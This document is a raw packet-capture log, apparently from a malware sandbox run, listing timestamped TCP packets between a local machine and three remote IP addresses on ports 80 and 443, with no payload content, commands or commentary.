Nov 30, 2024 04:12:23.878985882 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.879081964 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.879268885 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.879283905 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.890542984 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.890624046 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.890748024 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.891004086 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.891012907 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.891031027 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.891036987 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.892996073 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:23.932955980 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.933032990 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.933382988 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.933382988 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.933382988 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.934289932 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.934351921 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.935805082 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.935853958 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.935853958 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.935875893 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.935884953 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.936790943 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.936834097 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.936904907 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.937055111 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.937068939 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.938153982 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.938198090 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.938260078 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.938442945 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.938455105 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.012876987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:24.013001919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:24.015873909 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:24.026181936 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.026359081 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.026418924 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.026587963 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.026603937 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.026609898 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.026614904 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.029737949 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.029773951 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.029836893 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.030034065 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.030056000 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.135771036 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:24.197998047 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.198081017 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.198121071 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.198328018 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.198354959 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.198375940 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.198381901 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.201129913 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.201191902 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.201266050 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.201425076 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.201435089 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:24.240657091 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:24.240685940 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.389494896 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389525890 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389539003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389622927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.389681101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389693022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389704943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389717102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389719963 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.389751911 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.389904976 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389944077 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.389951944 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.389962912 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.390002966 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.509653091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.509695053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.509829044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.590825081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.590934038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.590986967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.595026016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.595144987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.595192909 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.603441000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.603543997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.603598118 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.611876965 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.612010002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.612056971 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.620301962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.620445967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.620500088 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.628633022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.628740072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.628801107 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.637001991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.637118101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.637171984 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.645406008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.645523071 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.645673990 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.653879881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.653997898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.654043913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.662240982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.662342072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.662390947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.663973093 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.664936066 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.664959908 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.665474892 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.665479898 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.670676947 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.670768023 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.670826912 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.724291086 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.724914074 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.724945068 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.725316048 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.725321054 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.783629894 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.784015894 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.784045935 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.784404993 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.784410000 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.792496920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.792510986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.792568922 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.795131922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.795274973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.795320988 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.800137043 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.800446987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.800501108 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.805279016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.805432081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.805480957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.810133934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.810252905 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.810302019 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.815278053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.815378904 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.815427065 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.820401907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.820461988 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.820512056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.825530052 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.825608969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.825654984 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.830648899 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.830723047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.830770016 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.835747957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.835860014 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.835902929 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.840877056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.840985060 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.841026068 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.845978975 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.846174002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.846220970 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.851124048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.851231098 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.851272106 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.856271982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.856393099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.856440067 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.861419916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.861522913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.861577988 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.866472006 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.874622107 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.878489017 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.878508091 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.878983974 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.878988028 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.912467003 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.980711937 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.981266975 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.981292963 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.981792927 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:25.981798887 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:25.993479013 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.993603945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.993665934 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:25.995678902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.995762110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:25.995810986 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.000089884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.000214100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.000260115 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.004663944 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.004698992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.004744053 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.008955956 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.009064913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.009119987 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.013372898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.013485909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.013535023 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.017781019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.017889977 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.017935991 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.022193909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.022289038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.022335052 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.026635885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.026748896 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.026793003 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.031023979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.031126022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.031167984 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.035434961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.035547018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.035588980 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.039844990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.039969921 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.040011883 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.044271946 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.044362068 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.044403076 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.048711061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.048752069 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.048798084 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.053138018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.053203106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.053248882 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.057532072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.057610989 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.057652950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.061959028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.062058926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.062103987 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.066349983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.066457987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.066500902 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.070791960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.070899010 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.070941925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.075202942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.075257063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.075299978 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.079624891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.079724073 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.079773903 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.084034920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.084127903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.084167004 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.088457108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.088566065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.088603020 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.092866898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.092981100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.093023062 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.097275019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.097378969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.097420931 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.107836008 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.107903004 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.107948065 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.108166933 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.108181953 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.108191967 CET	49744	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.108196974 CET	443	49744	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.111217976 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.111278057 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.111341953 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.111495972 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.111510992 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.181605101 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.181752920 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.181821108 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.181931973 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.181952953 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.181967020 CET	49747	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.181971073 CET	443	49747	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.184868097 CET	49751	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.184925079 CET	443	49751	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.185110092 CET	49751	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.185314894 CET	49751	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.185324907 CET	443	49751	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.194614887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.194644928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.194700956 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.195663929 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.195801973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.195846081 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.199456930 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.199493885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.199542046 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.203221083 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.203329086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.203375101 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.206839085 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.206937075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.206984043 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.210736990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.210757971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.210791111 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.214091063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.214196920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.214240074 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.217545033 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.217654943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.217696905 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.220916986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.221019030 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.221148014 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.224282980 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.224394083 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.224436998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.227500916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.227637053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.227689028 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.230727911 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.230859995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.230899096 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.233920097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.234044075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.234085083 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.237179041 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.237313986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.237355947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.240453959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.240576982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.240614891 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.243679047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.243788958 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.243830919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.246910095 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.247067928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.247107029 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.250186920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.250294924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.250334978 CET	49745	80	192.168.2.6	185.215.113.16
